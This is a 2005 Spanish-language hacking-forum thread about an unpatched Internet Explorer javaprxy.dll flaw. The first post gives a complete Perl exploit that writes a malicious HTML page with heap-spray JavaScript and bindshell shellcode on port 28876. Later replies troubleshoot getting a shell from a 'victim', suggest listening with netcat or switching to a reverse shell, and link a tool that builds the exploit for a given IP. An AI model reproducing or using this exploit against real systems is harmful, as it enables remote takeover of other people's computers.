elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 13:08  


Tema destacado: Suscripción al boletín mensual de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  I.E Exploit (1 Day) [Critical]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: I.E Exploit (1 Day) [Critical]  (Leído 1,487 veces)
parisnet

Desconectado Desconectado

Mensajes: 61


Ver Perfil WWW
I.E Exploit (1 Day) [Critical]
« en: 3 Julio 2005, 13:41 »

Bueno veamos de que se trata...


Microsoft Internet Explorer "javaprxy.dll" Code Execution Exploit


  Rated as : Critical

  Status : Unpatched

  Note : Bindshell on port 28876

Código:
#!/usr/bin/perl
######################################################
#
# Microsoft Internet Explorer "javaprxy.dll" COM Object Exploit -Unpatched-
#
# Proof of Concept by the FrSIRT < http://www.frsirt.com / team@frsirt.com >
#                                     Bindshell on port 28876
#                                             01 July 2005
#
# Description - http://www.frsirt.com/english/advisories/2005/0935
# Workarounds - http://www.microsoft.com/technet/security/advisory/903144.mspx
# sec-consult - http://www.sec-consult.com/184.html
#
# Solution :
# Set Internet and Local intranet security zone settings to "High" or use
# another browser until a patch is released.
#
# Tested on :
# Internet Explorer 6 on Microsoft Windows XP SP2
# Internet Explorer 6 on Microsoft Windows XP SP1
#
# Affected versions :
# Internet Explorer 5.01 Service Pack 3 on Microsoft Windows 2000 Service Pack 3
# Internet Explorer 5.01 Service Pack 4 on Microsoft Windows 2000 Service Pack 4
# Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 3
# Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 4
# Internet Explorer 6 Service Pack 1 on Microsoft Windows XP Service Pack 1
# Internet Explorer 6 for Microsoft Windows XP Service Pack 2
# Internet Explorer 6 Service Pack 1 for Microsoft Windows XP 64-Bit SP1 (Itanium)
# Internet Explorer 6 for Microsoft Windows Server 2003
# Internet Explorer 6 for Microsoft Windows Server 2003 Service Pack 1
# Internet Explorer 6 for Microsoft Windows Server 2003 for Itanium-based Systems
# Internet Explorer 6 for Microsoft Windows Server 2003 with SP1 for Itanium
# Internet Explorer 6 for Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)
# Internet Explorer 6 for Microsoft Windows Server 2003 x64 Edition
# Internet Explorer 6 for Microsoft Windows XP Professional x64 Edition
# Internet Explorer 5.5 Service Pack 2 on Microsoft Windows Millennium Edition
# Internet Explorer 6 Service Pack 1 on Microsoft Windows 98
# Internet Explorer 6 Service Pack 1 on Microsoft Windows 98 SE
# Internet Explorer 6 Service Pack 1 on Microsoft Windows Millennium Edition
#
# Usage : perl iejavaprxyexploit.pl > mypage.html
#
######################################################

# header
my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n";

# Win32 bindshell (port 28876) - SkyLined
my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb".
"%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".
"%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".
"%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".
"%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".
"%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".
"%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".
"%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".
"%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".
"%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".
"%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".
"%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".
"%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".
"%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".
"%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".
"%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".
"%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n";

# Memory
my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n".
"headersize = 20;\n".
"slackspace = headersize+shellcode.length\n".
"while (bigblock.length<slackspace) bigblock+=bigblock;\n".
"fillblock = bigblock.substring(0, slackspace);\n".
"block = bigblock.substring(0, bigblock.length-slackspace);\n".
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n".
"memory = new Array();\n".
"for (i=0;i<750;i++) memory[i] = block + shellcode;\n".
"</SCRIPT>\n";

# javaprxy.dll
my $clsid = '03D9F3F2-B0E3-11D2-B081-006008039BF0';

# footer
my $footer = "<object classid=\"CLSID:".$clsid."\"></object>\n".
"Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit\n".
"by the FrSIRT < http://www.frsirt.com >\n".
"Solution - http://www.frsirt.com/english/advisories/2005/0935".
"</body><script>location.reload();</script></html>";

# print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin
print "$header $shellcode $code $footer";


Lo he probado en mi xp sp2 "ultra updateado".. y primero recibi una barrita de advertencia, le dije que ejecute todo y la maquina comenzo a tildarse, y termino tildandose esa ventana del internet explorer, y no pude probar conectar a la supuesta shell.
En línea

Nose

Desconectado Desconectado

Mensajes: 17


Ver Perfil
Re: I.E Exploit (1 Day) [Critical]
« Respuesta #1 en: 4 Julio 2005, 07:10 »

Se ve muy bueno exploit pero no he logrado que me de una shell si alguien lo ha echo que pase el dato porfavor gracias adios
En línea
Bullweiser

Desconectado Desconectado

Mensajes: 63



Ver Perfil
Re: I.E Exploit (1 Day) [Critical]
« Respuesta #2 en: 5 Julio 2005, 12:31 »

Con q lo compilais? ???
En línea
sch3m4
Colaborador
***
Desconectado Desconectado

Mensajes: 1.603

Nihil est in intelectu quod prius not fuerit insen


Ver Perfil WWW
Re: I.E Exploit (1 Day) [Critical]
« Respuesta #3 en: 5 Julio 2005, 17:39 »

es lenguaje Perl, si estás en windows, solo necesitas instalar "ActivePerl" y después desde la cmd teclear: "perl fichero.pl"

http://lympex.sosvulnerable.net/tools.htm

PD: A mí tpco me ha funcionado
« Última modificación: 7 Julio 2005, 13:43 por Lympex » En línea

OpenSec

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
Bullweiser

Desconectado Desconectado

Mensajes: 63



Ver Perfil
Re: I.E Exploit (1 Day) [Critical]
« Respuesta #4 en: 8 Julio 2005, 19:15 »

Citar
La mayoría de sistemas Windows se encuentran afectados por la vulnerabilidad, si bien la máquina virtual Java de Microsoft no se instala por defecto en Windows XP SP1a, Windows XP SP2 y Windows Server 2003 SP1. No obstante, estos sistemas también pueden ser vulnerables si la máquina virtual de Java de MS, y por tanto el componente afectado, se ha instalado con posterioridad por necesidades de cualquier otra aplicación.



Pa q de la shell igual hay q tener la maquina virtual de Java instalada,aunque ami me sigue sin tirar......
En línea
orphen_nb

Desconectado Desconectado

Mensajes: 133


Ver Perfil
Re: I.E Exploit (1 Day) [Critical]
« Respuesta #5 en: 8 Julio 2005, 19:25 »

Juas, has escrito al mismo tiempo que yo xD:

Creo que hay que tener instalada la máquina virtual java de microsoft para ser vulnerable. Para saber si la teneis instalada y sois vulnerables podéis buscar el archivo javaprxy.dll en vuestro ordenador, que es el archivo vulnerable.

Creo que coincidimos en la fuente: una-al-dia de hispasec.
En línea

Human knowledge belongs to the world
El_ente

Desconectado Desconectado

Mensajes: 31



Ver Perfil
Re: I.E Exploit (1 Day) [Critical]
« Respuesta #6 en: 10 Julio 2005, 16:31 »

Aquí he colgado dos exploits para aprovechar ésta vulnerabilidad:

http://foro.elhacker.net/index.php/topic,77844.0.html

Un saludo.
En línea
Necro

Desconectado Desconectado

Mensajes: 287


]\/[37@|3r0


Ver Perfil WWW
Re: I.E Exploit (1 Day) [Critical]
« Respuesta #7 en: 13 Julio 2005, 10:15 »

Citar
Proof of Concept by the FrSIRT

tengo entendido que los prof of concept demuestran en fallo, pero no lo aprovechan. Es así?? corrijanme. salu2
En línea


Gorky


Desconectado Desconectado

Mensajes: 766



Ver Perfil WWW
Re: I.E Exploit (1 Day) [Critical]
« Respuesta #8 en: 13 Julio 2005, 13:24 »

Lo he compilado y ejecutado y lo unico que hace es quedarse colgado el navegador. Durante el tiempo que esta colgado se queda a la escucha el puerto 28876 tal y como dice el script y cuando mato el iexplorer se cierra el puerto. Pero no entiendo una cosa. Se supone que  ese script lo tiene que ejecutar una victima y a mi me llegaria un shell de su pc. Pero en que parametro o configuracon o no se que tengo que indicarle al script que me llegue a mi?? O no es asi?? O con eso me conectaria despues por telnet a esa maquina?? O que?? Una ayuda para mi primer remote shell que compilo. Gracias.
En línea

Si te gusta la Formula 1...
lirkuid

Desconectado Desconectado

Mensajes: 16


Ver Perfil
Re: I.E Exploit (1 Day) [Critical]
« Respuesta #9 en: 13 Julio 2005, 15:58 »

Lo he compilado y ejecutado y lo unico que hace es quedarse colgado el navegador. Durante el tiempo que esta colgado se queda a la escucha el puerto 28876 tal y como dice el script y cuando mato el iexplorer se cierra el puerto. Pero no entiendo una cosa. Se supone que  ese script lo tiene que ejecutar una victima y a mi me llegaria un shell de su pc. Pero en que parametro o configuracon o no se que tengo que indicarle al script que me llegue a mi?? O no es asi?? O con eso me conectaria despues por telnet a esa maquina?? O que?? Una ayuda para mi primer remote shell que compilo. Gracias.
Gorky lo unico que tienes que hacer es dejar el netcat a la escucha mientras tu victima tenga el ie colgado lo cual es algo dificil por eso se a hablado muxo de cambiarle la shellcode al exploit por una reverse shell, El_ente ha creado una aplicación en VB que hace todo el proceso por ti.
aki esta el link del programa creado por El_ente
http://juaker.hopto.org/download/javaExploiter.rar pones tu ip y te devuelve el exploit listo para usar. Espero haberte sido de ayuda saludos
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Critical Error con Lineage 2
Juegos y Consolas
diomedes707 0 1,668 Último mensaje 27 Mayo 2011, 15:58
por diomedes707
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines